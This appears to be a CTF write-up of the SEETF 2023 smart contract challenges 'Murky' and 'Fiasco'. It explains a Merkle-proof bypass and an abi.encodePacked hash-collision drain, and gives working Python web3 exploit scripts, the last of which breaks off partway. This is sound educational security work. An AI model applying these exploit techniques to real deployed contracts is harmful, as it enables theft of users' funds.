Contents

SEETF 2023

https://i.imgur.com/nSOR0p3.png
SEETF 2023

Lately, I’ve been diving into learning smart contracts, and I stumbled upon the SEETF 2023 challenges this weekend. It turns out there are four cool challenges specifically focused on smart contracts. Despite having a hectic weekend, I decided to carve out some time to give them a shot. Fortunately, I managed to solve all of it. Here is my writeup for the challenges.

Smart Contracts

Murky

Description

The SEE team has a list of special NFTs that are only allowed to be minted. Find out which one its allowed!

nc win.the.seetf.sg 8546

Initial Analysis

In this challenge, we were given three solidity files. Let’s check it first.

MerkleProof.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: Unlicense

pragma solidity ^0.8.0;

library MerkleProof {
    // Verify a Merkle proof proving the existence of a leaf in a Merkle tree. Assumes that each pair of leaves and each pair of pre-images in the proof are sorted.
    function verify(bytes32[] calldata proof, bytes32 root, uint256 index) internal pure returns (bool) {
        bytes32 computedHash = bytes32(abi.encodePacked(index));

        require(root != bytes32(0), "MerkleProof: Root hash cannot be zero");
        require(computedHash != bytes32(0), "MerkleProof: Leaf hash cannot be zero");

        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];

            if (computedHash < proofElement) {
                // Hash(current computed hash + current element of the proof)
                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
            } else {
                // Hash(current element of the proof + current computed hash)
                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
            }
        }

        // Check if the computed hash (root) is equal to the provided root
        return computedHash == root;
    }
}

This file contains a library called MerkleProof, which can be called to verify whether the given index is the leaf of the merkle tree based on the given proof.

SEEPass.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "./MerkleProof.sol";
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";

contract SEEPass is ERC721 {
    bytes32 private _merkleRoot;
    mapping(uint256 => bool) private _minted;

    constructor(bytes32 _root) ERC721("SEE Pass", "SEEP") {
        _merkleRoot = _root;
    }

    function mintSeePass(bytes32[] calldata _proof, uint256 _tokenId) public {
        require(!hasMinted(_tokenId), "Already minted");
        require(verify(_proof, _merkleRoot, _tokenId), "Invalid proof");

        _minted[_tokenId] = true;

        _safeMint(msg.sender, _tokenId);
    }

    function verify(bytes32[] calldata proof, bytes32 root, uint256 index) public pure returns (bool) {
        return MerkleProof.verify(proof, root, index);
    }

    function hasMinted(uint256 _tokenId) public view returns (bool) {
        return _minted[_tokenId];
    }
}

This contract is trying to implement their own NFT based on the ERC721 structure. There is a function called mintSeePass that can be used to mint a new NFT. However, before we can mint a new NFT, we need to be able to provide unused tokenId and the correct proof so that we can pass the MerkleProof verification.

Setup.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.17;

import "./SEEPass.sol";

contract Setup {
    SEEPass public immutable pass;

    constructor(bytes32 _merkleRoot) {
        pass = new SEEPass(_merkleRoot);
    }

    function isSolved() external view returns (bool) {
        return pass.balanceOf(msg.sender) > 0;
    }
}

This is the setup contract. As you can see, to solve this challenge, the goal is to make the msg.sender (which is us) has at least one NFT.

Solution

Based on the above initial analysis, we know that the goal is we need to be able to call mintSeePass. However, we need to pass the MerkleProof verification first.

After looking at the SEEPass contract and MerkleProof library, I noticed some interesting thing. Let’s re-visit the verify code.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    // Verify a Merkle proof proving the existence of a leaf in a Merkle tree. Assumes that each pair of leaves and each pair of pre-images in the proof are sorted.
    function verify(bytes32[] calldata proof, bytes32 root, uint256 index) internal pure returns (bool) {
        bytes32 computedHash = bytes32(abi.encodePacked(index));

        require(root != bytes32(0), "MerkleProof: Root hash cannot be zero");
        require(computedHash != bytes32(0), "MerkleProof: Leaf hash cannot be zero");

        for (uint256 i = 0; i < proof.length; i++) {
            bytes32 proofElement = proof[i];

            if (computedHash < proofElement) {
                // Hash(current computed hash + current element of the proof)
                computedHash = keccak256(abi.encodePacked(computedHash, proofElement));
            } else {
                // Hash(current element of the proof + current computed hash)
                computedHash = keccak256(abi.encodePacked(proofElement, computedHash));
            }
        }

        // Check if the computed hash (root) is equal to the provided root
        return computedHash == root;
    }

If we set an empty proof and set the index as the uint256 representation of the given root, then we won’t reach the loop. Because of that, the code will compare computedHash == root, which is true in this case because the computedHash is obviously the same as the root.

Checking through the SEEPass and Setup contract, we can safely use the uint256 of root as tokenId because it isn’t used yet.

Now that we know how to solve this challenge, let’s try to interact with the given host and port to check how to interact with the challenge.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
nc win.the.seetf.sg 8546
1 - launch new instance
2 - kill instance
3 - acquire flag
action? 1

your private blockchain has been deployed!
it will automatically terminate in 1 hour
here's some useful information

uuid:           172a3bb7-439a-46c0-ad7a-6bb6b80a39ba
rpc endpoint:   http://win.the.seetf.sg:8545/172a3bb7-439a-46c0-ad7a-6bb6b80a39ba
private key:    0x0e64f92c4e9fbf6fdfd08e0d80c425cf8e6982ab952efe5f6f52785887f3b552
public key:    0x4644cc78f277A624D4f6EAeDa5E203939147E334
setup contract: 0x8596731EaD6F44cD8bb5E3A448D7defCD12E9047

Okay, so with the given url and port, we can launch a new instance. Some informations that we can get:

  • The private rpc_endpoint.
  • The private key of the player.
  • The setup contract address.

However, up until now:

  • We don’t know yet the address of the deployed SEEPass via the Setup contract.
  • We don’t know yet what is the root value.

Let’s re-visit the Setup contract.

1
2
3
4
contract Setup {
    SEEPass public immutable pass;
    ...
}

To get the SEEPass address, because it is a public variable, by default, there will be a getter for it. We just need to call pass() to get the address.

Now that we know how to get the SEEPass address, we need to know how to fetch the _merkleRoot stored in it. Let’s re-visit the SEEPass contract.

1
2
3
4
5
6
7
contract SEEPass is ERC721 {
    bytes32 private _merkleRoot;
    ...
    constructor(bytes32 _root) ERC721("SEE Pass", "SEEP") {
        _merkleRoot = _root;
    }
}

The _merkleRoot was set as private variable, so there won’t be a getter for it. However, nothing is private in a smart contract. Even though it’s private, we can still fetch the value by directly accessing the storage of the contract. Trying to iterate the storage slot one by one, I found that the _merkleRoot was stored in slot 6.

After we know the _merkleRoot value, we can simply call the mintSeePass() function with empty proof and _merkleRoot as the tokenId (convert it to uint256). I used python web3 library to interact with the challenge.

Full Script

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from web3 import Web3
from pwn import *

url = 'win.the.seetf.sg'
port = 8546

def launch_instance():
    print('Launch instance...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'1')
    r.recvuntil(b'uuid:           ')
    uuid = r.recvline().strip()
    r.recvuntil(b'rpc endpoint:   ')
    rpc_endpoint = r.recvline().strip()
    r.recvuntil(b'private key:    ')
    private_key = r.recvline().strip()
    r.recvuntil(b'setup contract: ')
    setup_address = r.recvline().strip()
    r.close()
    info(f'UUID         : {uuid.decode()}')
    info(f'rpc_endpoint : {rpc_endpoint.decode()}')
    info(f'private_key  : {private_key.decode()}')
    info(f'setup_address: {setup_address.decode()}')
    return uuid, rpc_endpoint.decode(), private_key.decode(), setup_address.decode()

def kill_instance(uuid):
    print('Kill instance...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'2')
    r.sendlineafter(b'uuid please: ', uuid)
    r.close()

def get_flag(uuid):
    print('Get Flag...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'3')
    r.sendlineafter(b'uuid please: ', uuid)
    flag = r.readrepeat(1)
    r.close()
    return flag

# Launch instance
uuid = b''
rpc_endpoint = ''
private_key = ''
setup_address = ''
if uuid == b'':
    uuid, rpc_endpoint, private_key, setup_address = launch_instance()

# Connect to the network
w3 = Web3(Web3.HTTPProvider(rpc_endpoint))
assert w3.is_connected()

player = w3.eth.account.from_key(private_key)
info(f'Player address: {player.address}')

# Get seepass address
setup_abi = [{"inputs":[{"internalType":"bytes32","name":"_merkleRoot","type":"bytes32"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pass","outputs":[{"internalType":"contract SEEPass","name":"","type":"address"}],"stateMutability":"view","type":"function"}]
setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)
pass_selector = w3.keccak(text='pass()')[:4]
output = w3.eth.call({
    'to': setup_address,
    'data': pass_selector.hex()
})
seepass_address = w3.to_checksum_address(output[12:].hex())
info(f'seepass address: {seepass_address}')

# Get merkle root value from storage slot
seepass_abi = [{"inputs":[{"internalType":"bytes32","name":"_root","type":"bytes32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":False,"inputs":[{"indexed":True,"internalType":"address","name":"owner","type":"address"},{"indexed":True,"internalType":"address","name":"approved","type":"address"},{"indexed":True,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":False,"inputs":[{"indexed":True,"internalType":"address","name":"owner","type":"address"},{"indexed":True,"internalType":"address","name":"operator","type":"address"},{"indexed":False,"internalType":"bool","name":"approved","type":"bool"}],"name":"ApprovalForAll","type":"event"},{"anonymous":False,"inputs":[{"indexed":True,"internalType":"address","name":"from","type":"address"},{"indexed":True,"internalType":"address","name":"to","type":"address"},{"indexed":True,"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"getApproved","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"hasMinted","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"operator","type":"address"}],"name":"isApprovedForAll","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"_proof","type":"bytes32[]"},{"internalType":"uint256","name":"_tokenId","type":"uint256"}],"name":"mintSeePass","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"ownerOf","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"},{"internalType":"bytes","name":"data","type":"bytes"}],"name":"safeTransferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"operator","type":"address"},{"internalType":"bool","name":"approved","type":"bool"}],"name":"setApprovalForAll","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes4","name":"interfaceId","type":"bytes4"}],"name":"supportsInterface","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"tokenURI","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"tokenId","type":"uint256"}],"name":"transferFrom","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bytes32[]","name":"proof","type":"bytes32[]"},{"internalType":"bytes32","name":"root","type":"bytes32"},{"internalType":"uint256","name":"index","type":"uint256"}],"name":"verify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"}]
seepass_contract = w3.eth.contract(address=seepass_address, abi=seepass_abi)
merkle_root = w3.eth.get_storage_at(seepass_address, 6).hex()
info(f'Merkle root    : {merkle_root}')

# We can simply use the merkle root as uint256 index to mint our first NFT.
transaction = seepass_contract.functions.mintSeePass([], int(merkle_root, 16)).build_transaction({
    'from': player.address,
    'nonce': w3.eth.get_transaction_count(player.address),
    'gasPrice': w3.eth.gas_price,
    'value': 0,
    'chainId': w3.eth.chain_id
})
signed_transaction = w3.eth.account.sign_transaction(transaction, private_key=private_key)
transaction_hash = w3.eth.send_raw_transaction(signed_transaction.rawTransaction)
print("Transaction Hash:", transaction_hash.hex())
sleep(15)

# Get flag
out = get_flag(uuid)
info(out.decode())
Note
To get the abi, I manually compiled the contract with solc in my local + init a foundry project to handle the contract dependencies to open-zeppelin.

Flag: SEE{w3lc0me_t0_dA_NFT_w0rld_w1th_SE3pAs5_f3a794cf4f4dd14f9cc7f6a25f61e232}

Fiasco

Description

In the dystopian digital landscape of the near future, a cunning mastermind has kickstarted his plan for ultimate dominance by creating an army of robotic pigeons. These pigeons, six in the beginning, are given a sinister mission: to spy on the public, their focus being on individuals amassing significant Ethereum (ETH) holdings.

Each pigeon has been tasked with documenting the ETH each person owns, planning for a future operation to swoop in and siphon off these digital assets. The robotic pigeons, however, are not just spies, but also consumers. They are provided with ETH by their creator to cover their operational expenses, making the network of spy birds self-sustaining and increasingly dangerous.

The army operates on a merit-based system, where the pigeon agents earn points for their successful missions. These points pave their path towards promotion, allowing them to ascend the ranks of the robotic army. But, the journey up isn’t free. They must return the earned ETH back to their master for their promotion.

Despite the regimented system, the robotic pigeons have a choice. They can choose to desert the army at any point, taking with them the ETH they’ve earned. Will they remain loyal, or will they break free?

Initial Analysis

In this challenge, we were given two solidity files. Let’s check it first.

Pigeon.sol

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.17;

contract Pigeon {
    address private owner;
    uint256 private ownerBalance;
    uint256 private juniorPromotion;
    uint256 private associatePromotion;

    mapping(bytes32 => address) private seniorPigeon;
    mapping(bytes32 => address) private associatePigeon;
    mapping(bytes32 => address) private juniorPigeon;
    mapping(address => bool) private isPigeon;
    mapping(string => mapping(string => bool)) private codeToName;
    mapping(bytes32 => uint256) private taskPoints;

    mapping(address => mapping(address => uint256)) private dataCollection;
    mapping(address => bool) private hasBeenCollected;
    mapping(bytes32 => uint256) private treasury;

    modifier onlyOwner() {
        if (owner != msg.sender) revert();
        _;
    }

    modifier oneOfUs() {
        if (!isPigeon[msg.sender]) revert();
        _;
    }

    constructor() {
        owner = msg.sender;
        juniorPromotion = 8e18;
        associatePromotion = 12e18;
    }

    function becomeAPigeon(string memory code, string memory name) public returns (bytes32 codeName) {
        codeName = keccak256(abi.encodePacked(code, name));

        if (codeToName[code][name]) revert();
        if (isPigeon[msg.sender]) revert();

        juniorPigeon[codeName] = msg.sender;
        isPigeon[msg.sender] = true;
        codeToName[code][name] = true;

        return codeName;
    }

    function task(bytes32 codeName, address person, uint256 data) public oneOfUs {
        if (person == address(0)) revert();
        if (isPigeon[person]) revert();
        if (address(person).balance != data) revert();

        uint256 points = data;

        hasBeenCollected[person] = true;
        dataCollection[msg.sender][person] = points;
        taskPoints[codeName] += points;
    }

    function flyAway(bytes32 codeName, uint256 rank) public oneOfUs {
        uint256 bag = treasury[codeName];
        treasury[codeName] = 0;

        if (rank == 0) {
            if (taskPoints[codeName] > juniorPromotion) revert();

            (bool success,) = juniorPigeon[codeName].call{value: bag}("");
            require(success, "Transfer failed.");
        }
        if (rank == 1) {
            if (taskPoints[codeName] > associatePromotion) revert();

            (bool success,) = associatePigeon[codeName].call{value: bag}("");
            require(success, "Transfer failed.");
        }
        if (rank == 2) {
            (bool success,) = seniorPigeon[codeName].call{value: bag}("");
            require(success, "Transfer failed.");
        }
    }

    function promotion(bytes32 codeName, uint256 desiredRank, string memory newCode, string memory newName)
        public
        oneOfUs
    {
        if (desiredRank == 1) {
            if (msg.sender != juniorPigeon[codeName]) revert();
            if (taskPoints[codeName] < juniorPromotion) revert();
            ownerBalance += treasury[codeName];

            bytes32 newCodeName = keccak256(abi.encodePacked(newCode, newName));

            if (codeToName[newCode][newName]) revert();
            associatePigeon[newCodeName] = msg.sender;
            codeToName[newCode][newName] = true;
            taskPoints[codeName] = 0;
            delete juniorPigeon[codeName];

            (bool success,) = owner.call{value: treasury[codeName]}("");
            require(success, "Transfer failed.");
        }

        if (desiredRank == 2) {
            if (msg.sender != associatePigeon[codeName]) revert();
            if (taskPoints[codeName] < associatePromotion) revert();
            ownerBalance += treasury[codeName];

            bytes32 newCodeName = keccak256(abi.encodePacked(newCode, newName));

            if (codeToName[newCode][newName]) revert();
            seniorPigeon[newCodeName] = msg.sender;
            codeToName[newCode][newName] = true;
            taskPoints[codeName] = 0;
            delete seniorPigeon[codeName];

            (bool success,) = owner.call{value: treasury[codeName]}("");
            require(success, "Transfer failed.");
        }
    }

    function assignPigeon(string memory code, string memory name, address pigeon, uint256 rank)
        external
        payable
        onlyOwner
    {
        bytes32 codeName = keccak256(abi.encodePacked(code, name));

        if (rank == 0) {
            juniorPigeon[codeName] = pigeon;
            treasury[codeName] = msg.value;
            juniorPigeon[codeName] = pigeon;
            isPigeon[pigeon] = true;
            codeToName[code][name] = true;
        }

        if (rank == 1) {
            associatePigeon[codeName] = pigeon;
            treasury[codeName] = msg.value;
            associatePigeon[codeName] = pigeon;
            isPigeon[pigeon] = true;
            codeToName[code][name] = true;
        }

        if (rank == 2) {
            seniorPigeon[codeName] = pigeon;
            treasury[codeName] = msg.value;
            seniorPigeon[codeName] = pigeon;
            isPigeon[pigeon] = true;
            codeToName[code][name] = true;
        }
    }

    function exit() public onlyOwner {
        (bool success,) = owner.call{value: ownerBalance}("");
        require(success, "Transfer failed.");
    }
}

This is the main contract that we will interact with. Skimming through it, it seems that the contract is trying to simulate how job promotion works. Basically, a user can be set as a pigeon, and then it can do some basic tasks to get points, which can be used to get promotion. Later, we will check this contract again.

Setup.sol

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.17;

import "./Pigeon.sol";

contract Setup {
    Pigeon public immutable pigeon;

    constructor() payable {
        pigeon = new Pigeon();

        // Junior Pigeons
        pigeon.assignPigeon("Numbuh", "6", address(0x006), 0);
        pigeon.assignPigeon{value: 5e18}("Numbuh", "5", address(0x005), 0);

        pigeon.assignPigeon("Numbuh", "4", address(0x004), 1);
        pigeon.assignPigeon{value: 10e18}("Numbuh", "3", address(0x003), 1);

        pigeon.assignPigeon("Numbuh", "2", address(0x002), 2);
        pigeon.assignPigeon{value: 15e18}("Numbuh", "1", address(0x001), 2);
    }

    receive() external payable {}

    function isSolved() external view returns (bool) {
        return address(msg.sender).balance >= 34 ether && address(pigeon).balance == 0 ether;
    }
}

This is the setup contract. It deploy the Pigeon contract, and then assign some pigeons with different ranks, code, and name. Some of the pigeons were created with some ethers to initialize their treasury value.

To solve the challenge, the user’s balance need to be >= 34 ether, and we need to drain the pigeon balance.

Solution

First, in order to interact further with the Pigeon contract, we need to be a pigeon first. To do that, we can call the becomeAPigeon. Let’s check the code first to see whether there is a bug or not.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
    function becomeAPigeon(string memory code, string memory name) public returns (bytes32 codeName) {
        codeName = keccak256(abi.encodePacked(code, name));

        if (codeToName[code][name]) revert();
        if (isPigeon[msg.sender]) revert();

        juniorPigeon[codeName] = msg.sender;
        isPigeon[msg.sender] = true;
        codeToName[code][name] = true;

        return codeName;
    }

There is a bug with the codeName generation. Notice that to generate the codeName, we basically do hash(code+name). However, this means that we can easily create hash collision to overwrite the existing juniorPigeon mapping. For example, suppose that we want to impersonate junior pigeon ("Numbuh", "5") (which is one of the pigeon that was infused with ether during the creation). We can simply set our code to "Numbu" and our name to "h5". The hash result will be the same as ("Numbuh", "5"). By doing this, we can overwrite the stored address of the juniorPigeon easily.

Now, remember that the goal is to drain the balance of pigeon and transfer all of it to us. Notice that there is an interesting function called flyAway.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
    function flyAway(bytes32 codeName, uint256 rank) public oneOfUs {
        uint256 bag = treasury[codeName];
        treasury[codeName] = 0;

        if (rank == 0) {
            if (taskPoints[codeName] > juniorPromotion) revert();

            (bool success,) = juniorPigeon[codeName].call{value: bag}("");
            require(success, "Transfer failed.");
        }
        if (rank == 1) {
            if (taskPoints[codeName] > associatePromotion) revert();

            (bool success,) = associatePigeon[codeName].call{value: bag}("");
            require(success, "Transfer failed.");
        }
        if (rank == 2) {
            (bool success,) = seniorPigeon[codeName].call{value: bag}("");
            require(success, "Transfer failed.");
        }
    }

If we call flyAway, the address of the pigeon will get treasury[codeName] of ether. Remember that we can easily overwrite the address of any pigeon with our address, so to steal the ether, we can simply:

  • Overwrite the pigeon address with our address via the hash collision in codeName generation.
  • Call flyAway to steal the ether.

Our user current rank is still juniorPigeon, and in order to drain the whole pigeon ether, we need to do promotion as well. Luckily, the promotion allowed us to set a new codeName, and the codeName generation is still prone to hash collision. So, on each promotion, we can simply set the codeName to collide with the created pigeon which has ether.

To get promotion, we need to do task. However, if we do task, if our taskPoints larger than the threshold set for the promotion, we won’t be able to flyAway. Luckily, there is another bug here. Compare the checks those are used in the flyAway and promotion.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
    function flyAway(bytes32 codeName, uint256 rank) public oneOfUs {
        uint256 bag = treasury[codeName];
        treasury[codeName] = 0;

        if (rank == 0) {
            if (taskPoints[codeName] > juniorPromotion) revert();
        ...
        }
        ...
    }

    function promotion(bytes32 codeName, uint256 desiredRank, string memory newCode, string memory newName)
        public
        oneOfUs
    {
        if (desiredRank == 1) {
            if (msg.sender != juniorPigeon[codeName]) revert();
            if (taskPoints[codeName] < juniorPromotion) revert();
            ...
        }
        ...
    }

Notice that, if the taskPoints are equals to the promotion’s threshold, we actually can:

  • Call flyAway and steal the ether.
  • Call promotion. We can still do promotion because the check in promotion is allowing equals taskPoints.

So, the goal is very clear, we need to do tasks until the points are equal to the given threshold, call flyAway (to steal the ether), and then call promotion so that we can start to steal ether from the higher rank pigeon.

To make it easier on controlling the points that we get during calling task, we can simply deploy a dummy contract and then set its balance to crafted value so that the taskPoints can be easily set to be equivalent with the threshold.

My solution full flow is like below:

  • Create a dummy contract, initialize it with 4 ether
  • Call becomeAPigeon to make the player as a juniorPigeon.
    • Set the code to Numbu and the name to h5, so that we will overwrite the stored address of juniorPigeon[Numbuh5] with our address, and later steal all of its ether (which is 5 ether based on the Setup contract).
  • Do task twice by setting the person parameter to our dummy contract.
    • Doing twice will make our taskPoints to 8 ether, which is equivalent to the juniorPromotion threshold.
  • Call flyaway
    • We get 5 ether from this.
  • Call promotion
    • Set the code to Numbu and the name to h3, so that we will overwrite the stored address of associatePigeon[Numbuh3] with our address, and later steal all of its ether (which is 10 ether based on the Setup contract).
  • Now, transfer extra 2 ether to our dummy contract, to make the balance become 6 ether.
  • Do task twice by setting the person parameter to our dummy contract.
    • Doing twice will make our taskPoints to 12 ether, which is equivalent to the associatePromotion threshold.
  • Call flyaway
    • We get 10 ether from this.
  • Call promotion
    • Set the code to Numbu and the name to h1, so that we will overwrite the stored address of seniorPigeon[Numbuh1] with our address, and later steal all of its ether (which is 15 ether based on the Setup contract).
  • Call flyaway
    • We get 15 ether from this.
  • Take back the ether from our dummy contract back to us, so that we will have balance more than 34 ether.

Full Script

Dummy Contract

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
// SPDX-License-Identifier: UNLICENSED
pragma solidity >=0.8.17;

contract TempStorage{
    constructor() payable {}
    receive() external payable {}

    function getBack() external payable {
        (bool success,) = msg.sender.call{value: address(this).balance}("");
        require(success, "Failed to transfer");
    }
}

Solver

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
from web3 import Web3
from pwn import *
from solcx import compile_files

url = 'win.the.seetf.sg'
port = 8548

def launch_instance():
    print('Launch instance...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'1')
    r.recvuntil(b'uuid:           ')
    uuid = r.recvline().strip()
    r.recvuntil(b'rpc endpoint:   ')
    rpc_endpoint = r.recvline().strip()
    r.recvuntil(b'private key:    ')
    private_key = r.recvline().strip()
    r.recvuntil(b'setup contract: ')
    setup_address = r.recvline().strip()
    r.close()
    print(f'uuid          = {uuid}')
    print(f'rpc_endpoint  = \'{rpc_endpoint.decode()}\'')
    print(f'private_key   = \'{private_key.decode()}\'')
    print(f'setup_address = \'{setup_address.decode()}\'')
    return uuid, rpc_endpoint.decode(), private_key.decode(), setup_address.decode()

def kill_instance(uuid):
    print('Kill instance...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'2')
    r.sendlineafter(b'uuid please: ', uuid)
    r.close()

def get_flag(uuid):
    print('Get Flag...')
    r = remote(url, port)
    r.sendlineafter(b'action? ', b'3')
    r.sendlineafter(b'uuid please: ', uuid)
    flag = r.readrepeat(1)
    r.close()
    return flag

# Launch instance
uuid = b''

# uuid          = b'e00734cf-96a7-4959-8b3f-6c646a2a5745'
# rpc_endpoint  = 'http://win.the.seetf.sg:8547/e00734cf-96a7-4959-8b3f-6c646a2a5745'
# private_key   = '0x98c95134b9c5a731d87e81e4e065ef56630ea6a0d967ee1ba507888d3a53a487'
# setup_address = '0x6719eb16425c24c5F2d707254735593b48954abd'

if uuid == b'':
    uuid, rpc_endpoint, private_key, setup_address = launch_instance()

# Connect to the network
w3 = Web3(Web3.HTTPProvider(rpc_endpoint))
assert w3.is_connected()

player = w3.eth.account.from_key(private_key)
info(f'Player address: {player.address}, balance: {w3.eth.get_balance(player.address)}')

# Get pigeon address
setup_abi = [{"inputs":[],"stateMutability":"payable","type":"constructor"},{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pigeon","outputs":[{"internalType":"contract Pigeon","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
setup_contract = w3.eth.contract(address=setup_address, abi=setup_abi)
pass_selector = w3.keccak(text='pigeon()')[:4]
output = w3.eth.call({
    'to': setup_address,
    'data': pass_selector.hex()
})
pigeon_address = w3.to_checksum_address(output[12:].hex())
info(f'pigeon_address: {pigeon_address}, balance: {w3.eth.get_balance(pigeon_address)}')

# Get current owner
